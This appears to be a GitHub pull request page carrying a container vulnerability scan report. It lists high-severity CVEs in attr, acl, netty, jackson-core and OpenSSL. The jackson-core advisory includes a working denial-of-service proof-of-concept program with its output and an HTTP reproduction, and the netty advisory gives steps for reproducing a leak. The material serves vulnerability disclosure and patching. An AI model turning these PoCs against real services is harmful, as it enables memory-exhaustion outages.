CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
EPSS Score0.131%
EPSS Percentile3rd percentile
Description

A flaw was found in the attr component, specifically within the getfattr utility. This vulnerability allows a local attacker to perform a symlink traversal attack. By replacing a pathname component with a symbolic link during directory hierarchy traversal, an attacker can redirect getfattr operations to arbitrary files. This can lead to local privilege escalation when getfattr is executed by a privileged process over a path controlled by the attacker.

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec 4.1.135.Final (maven)

pkg:maven/io.netty/netty-codec@4.1.135.Final

high 8.7: CVE--2026--59901 Loop with Unreachable Exit Condition ('Infinite Loop')

Affected range<4.1.136.Final
Fixed version4.1.136.Final
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.263%
EPSS Percentile18th percentile
Description

The Bzip2Decoder handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [Bzip2BlockDecompressor.read()]

critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.19.2 (maven)

pkg:maven/com.fasterxml.jackson.core/jackson-core@2.19.2

high 8.7: GHSA--r7wm--3cxj--wff9 Allocation of Resources Without Limits or Throttling

Affected range>=2.19.0
<2.21.4
Fixed version2.21.4
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Description

Summary

The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".

As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).

This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.

Affected versions

Verified on the patched releases:

  • com.fasterxml.jackson.core:jackson-core 2.18.6
  • com.fasterxml.jackson.core:jackson-core 2.21.1

Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.

Affected code

src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.

Site 1 — _startPositiveNumber(int ch) lines 1320-1330:

if (outPtr >= outBuf.length) {
    // NOTE: must expand to ensure contents all in a single buffer (to keep
    // other parts of parsing simpler)
    outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
    _minorState = MINOR_NUMBER_INTEGER_DIGITS;
    _textBuffer.setCurrentLength(outPtr);
    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)
}

Site 2 — _finishNumberIntegralPart lines 1691-1727:

protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
    int negMod = _numberNegative ? -1 : 0;

    while (true) {
        if (_inputPtr >= _inputEnd) {
            _minorState = MINOR_NUMBER_INTEGER_DIGITS;
            _textBuffer.setCurrentLength(outPtr);
            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)
        }
        int ch = getByteFromBuffer(_inputPtr) & 0xFF;
        if (ch < INT_0) {
            if (ch == INT_PERIOD) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        if (ch > INT_9) {
            if ((ch | 0x20) == INT_e) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        ++_inputPtr;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
    }
    _setIntLength(outPtr+negMod);            // <-- validated here
    _textBuffer.setCurrentLength(outPtr);
    return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}

The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.

Compare with the fraction path that is correct

_finishFloatFraction lines 1827-1838:

while (loop) {
    if (ch >= INT_0 && ch <= INT_9) {
        ++fractLen;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
        if (_inputPtr >= _inputEnd) {
            _textBuffer.setCurrentLength(outPtr);
            _setFractLength(fractLen);          // <-- VALIDATED
            return JsonToken.NOT_AVAILABLE;
        }
        ch = getNextSignedByteFromBuffer();
    }
    ...
}

Impact

Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.

The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.

CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.

Proof of concept

Standalone PoC, no Maven required:

mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;

public class PoC {
    public static void main(String[] args) throws Exception {
        StreamReadConstraints strict = StreamReadConstraints.builder()
                .maxNumberLength(1000)
                .build();
        JsonFactory f = new JsonFactoryBuilder()
                .streamReadConstraints(strict)
                .build();

        // Sanity: synchronous parser rejects 5000-digit int.
        try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
            while (p.nextToken() != null) { /* drive */ }
            System.out.println("[-] BUG ABSENT: sync parser accepted");
            return;
        } catch (Exception e) {
            System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
        }

        // Bug: async parser, chunked, no terminator.
        JsonParser ap = f.createNonBlockingByteArrayParser();
        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;

        byte[] preamble = "{\"v\":".getBytes("UTF-8");
        feeder.feedInput(preamble, 0, preamble.length);
        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }

        byte[] digits = new byte[16 * 1024];
        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));

        for (int c = 0; c < 600; c++) {
            feeder.feedInput(digits, 0, digits.length);
            JsonToken t = ap.nextToken();
            if (t != JsonToken.NOT_AVAILABLE) {
                System.out.println("[-] unexpected token: " + t);
                return;
            }
        }
        System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");

        // Closing the number now finally triggers the validator.
        feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
        feeder.endOfInput();
        try {
            while (ap.nextToken() != null) { /* drive */ }
        } catch (Exception e) {
            System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
        }
        ap.close();
    }
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC

Observed output against jackson-core-2.18.6:

[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)

Observed output against jackson-core-2.21.1: identical.

The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.

End-to-end reproduction through real HTTP

Supplements the standalone PoC with a running Spring Boot WebFlux server,
driving the same bug through the actual reactor-netty + Jackson2JsonDecoder
streaming-decode path that production reactive endpoints use.

Setup:

  • Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
  • jackson-databind 2.17.2, jackson-core overridden:
    • VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
    • PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
  • JVM: OpenJDK 17.0.18
  • Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()

Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@<!-- -->RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.

VULN — jackson-core 2.18.7:

[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
       Number value length (50000) exceeds the maximum allowed (1000, ...)

Server-side controller trace (250 DataBuffer arrivals elided):

[ctrl] DataBuffer arrived size=6   ms=39       <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...

Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.

PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):

[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream

Server-side controller trace:

[ctrl] DataBuffer arrived size=6   ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)

Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.

Side-by-side:

Build Chunks accepted before exception Digits buffered Time to detection
jackson-core 2.18.7 250 (full payload) 50,000 (50x the configured limit) 6,548ms — only at terminator
2.18.8-SNAPSHOT (fix branch) 5 1,001 155ms — moment threshold crossed

Note on the default @<!-- -->RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @<!-- -->RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.

Suggested fix

Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:

     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
         int negMod = _numberNegative ? -1 : 0;

         while (true) {
             if (_inputPtr >= _inputEnd) {
                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;
                 _textBuffer.setCurrentLength(outPtr);
+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);
                 return _updateTokenToNA();
             }

Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.

Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).

Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.

Credit

Reported by tonghuaroot (tonghuaroot@<!-- -->gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.

critical: 0 high: 1 medium: 0 low: 0 acl 2.4.0-1.el9_8 (rpm)

pkg:rpm/redhat/acl@2.4.0-1.el9_8?os_name=redhatlinux&os_version=9

high 7.1: CVE--2026--54369 Improper Link Resolution Before File Access ('Link Following')

Affected range>=0
Fixed versionNot Fixed
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
EPSS Score0.153%
EPSS Percentile5th percentile
Description

A flaw was found in the acl component, specifically within its libacl pathname-based functions. A local attacker could exploit this vulnerability by using a symbolic link to replace a pathname component. This could allow the attacker to redirect access control list (ACL) read or write operations to arbitrary files or directories, leading to unauthorized manipulation of ACLs and ultimately local privilege escalation.

critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.135.Final (maven)

pkg:maven/io.netty/netty-codec-http2@4.1.135.Final

high 7.5: CVE--2026--56819 Uncontrolled Resource Consumption

Affected range>=4.1.0.Final
<=4.1.135.Final
Fixed version4.1.136.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.365%
EPSS Percentile29th percentile
Description

Summary

A remote, unauthenticated peer can leak one direct ByteBuf per HTTP/2 DATA frame in
applications that enable HTTP/2 content decompression via DelegatingDecompressorFrameListener.
When a DATA frame is processed for a stream whose decompressor has already been closed,
Http2Decompressor.decompress(...) retains the frame buffer but never releases it on the error
path, so its reference count never returns to zero. Repeating this over a long-lived HTTP/2
connection exhausts direct memory and crashes the JVM with OutOfMemoryError — a denial of service.

Details

In codec-http2/src/main/java/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java,
Http2Decompressor.decompress(...) does:

// around line 433
decompressor.writeInbound(data.retain());

The argument data.retain() is evaluated before writeInbound(...) executes, incrementing the
buffer's reference count (refCnt: 1 -> 2). The very first statement of
EmbeddedChannel.writeInbound(...) is ensureOpen() (EmbeddedChannel.java:360), which throws
ClosedChannelException when the decompressor's internal EmbeddedChannel has already been closed.

When that happens:

  • the DATA payload has been retain()ed but never entered the pipeline, so the decoder's
    finally { release() } never runs;
  • the surrounding catch (Throwable t) block in decompress(...) (around line 451) does not
    release the extra reference;
  • the input buffer therefore can never reach refCnt 0, and its (typically direct) memory is leaked.

The decompressor channel is closed on a reachable path:
Http2Connection onStreamRemovedHttp2Decompressor.cleanup()
EmbeddedChannel.finishAndReleaseAll()
(DelegatingDecompressorFrameListener.java:125-133 and 418-420).

A peer that sends DATA frames for a stream whose decompressor has already been cleaned up (e.g.
continuing to send DATA after END_STREAM / stream removal) thus leaks one direct ByteBuf per
frame.

Affected code: DelegatingDecompressorFrameListener.java, method Http2Decompressor.decompress(...)
— the decompressor.writeInbound(data.retain()) call (line ~433) and its catch (Throwable t)
block (line ~451), which lacks a data.release() rollback.

Suggested fix: track whether writeInbound succeeded and roll back the extra retain() only when
the data never entered the pipeline:

boolean writeSucceeded = false;
try {
    decompressor.writeInbound(data.retain());
    writeSucceeded = true;            // pipeline now owns the release
    if (endOfStream) {
        decompressor.finish();
    }
    return 0;
} catch (Throwable t) {
    if (!writeSucceeded) {
        data.release();               // roll back the extra retain(); data never entered pipeline
    }
    if (t instanceof Http2Exception) {
        throw (Http2Exception) t;
    }
    throw streamError(stream.id(), INTERNAL_ERROR, t, ...);
}
Case writeSucceeded catch action Reason
ensureOpen() throws (this bug) false data.release() data never entered pipeline
handler throws internally true no release decoder finally already released
finish() throws true no release writeInbound already succeeded

PoC

Reproduced against the official, unmodified netty-codec-http2-4.2.15.Final.jar from Maven Central,
using real netty classes and measuring ByteBuf.refCnt() directly (the leaking logic is not mocked).

Reproduction steps:

  1. Download the official artifacts and their dependencies from Maven Central (version 4.2.15.Final):
    netty-common, netty-buffer, netty-transport, netty-resolver, netty-handler,
    netty-codec-base, netty-codec, netty-codec-http, netty-codec-http2,
    netty-codec-compression.
  2. Build a real Http2Decompressor wrapping a real gzip decoder EmbeddedChannel
    (ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP)).
  3. Close the internal decompressor channel (equivalent to the end state of
    cleanup() / finishAndReleaseAll()).
  4. Encode a real gzip DATA payload with ZlibCodecFactory.newZlibEncoder(GZIP) (refCnt = 1).
  5. Call decompress(...) on the closed channel.
  6. Observe: writeInbound(...) throws ClosedChannelException at its ensureOpen() entry
    (EmbeddedChannel.java:360), reached from DelegatingDecompressorFrameListener.java:433;
    data.refCnt() is now 2.
  7. Release once as the frame reader would; refCnt stays at 1 (release() returns false) → leaked.

Observed reference-count trace:

gzipData initial refCnt = 1
decompress -> data.retain()        -> refCnt = 2   (retain applied, never rolled back)
caller releases once               -> refCnt = 1   (release() returns false; not deallocated)
=> buffer never reaches 0 -> direct memory leaked

Observed exception stack (confirms the leak point):

java.nio.channels.ClosedChannelException
    at io.netty.channel.embedded.EmbeddedChannel.checkOpen(EmbeddedChannel.java:959)
    at io.netty.channel.embedded.EmbeddedChannel.ensureOpen(EmbeddedChannel.java:979)
    at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:360)
    at io.netty.handler.codec.http2.DelegatingDecompressorFrameListener$Http2Decompressor
            .decompress(DelegatingDecompressorFrameListener.java:433)

Two notes on the harness (they do not affect the leak mechanism):

  • The internal channel is closed directly via close() rather than through cleanup(). The end
    state is identical (channel closed → writeInbound throws at ensureOpen()); the bug depends on
    "channel closed → retain not rolled back", not on how the channel was closed.
  • In the isolated harness the rethrown StreamException's root cause shows as NullPointerException
    because the harness does not initialise an Http2LocalFlowController (a secondary exception
    reported during channel close). The leak is already sealed at the ClosedChannelException thrown
    by writeInbound's ensureOpen() (line 360); in a real server with the flow controller
    initialised, the triggering exception is the ClosedChannelException itself.

A complete self-contained PoC (Verify02DecompressLeak.java, ~150 lines, no test framework) plus the
exact javac / java commands can be attached on request.

Impact

  • Vulnerability type: uncontrolled resource consumption / memory leak (CWE-401), leading to
    denial of service. Each crafted DATA frame leaks one (typically direct/off-heap) ByteBuf.
  • Who is impacted: any server (or client) that enables HTTP/2 content decompression by installing
    DelegatingDecompressorFrameListener in its HTTP/2 pipeline.
  • Attacker requirements: remote, unauthenticated. The attacker only needs to send HTTP/2 DATA
    frames for a stream whose decompressor has been cleaned up (e.g. continue sending DATA after
    END_STREAM). No special server configuration beyond decompression being enabled.
  • Result: sustained triggering over a long-lived connection exhausts direct memory and crashes
    the JVM with OutOfMemoryError.
critical: 0 high: 1 medium: 0 low: 0 openssl 1:3.5.5-6.el9_8 (rpm)

pkg:rpm/redhat/openssl@1%3A3.5.5-6.el9_8?os_name=redhatlinux&os_version=9

high 8.1: CVE--2026--45447 Expired Pointer Dereference

Affected range>=0
Fixed versionNot Fixed
CVSS Score8.1
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score5.236%
EPSS Percentile92nd percentile
Description

A flaw was found in OpenSSL. When processing a specially crafted PKCS#7 or S/MIME (Secure/Multipurpose Internet Mail Extensions) signed message, a heap use-after-free vulnerability in the PKCS7_verify() function can be triggered. This occurs if the SignedData digestAlgorithms field is present as an empty ASN.1 SET, leading to incorrect memory deallocation. A remote attacker could exploit this to cause application crashes, memory corruption, or potentially achieve remote code execution.

@Lomilar
Lomilar merged commit 09078ca into 1.7 Aug 14, 2026
8 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants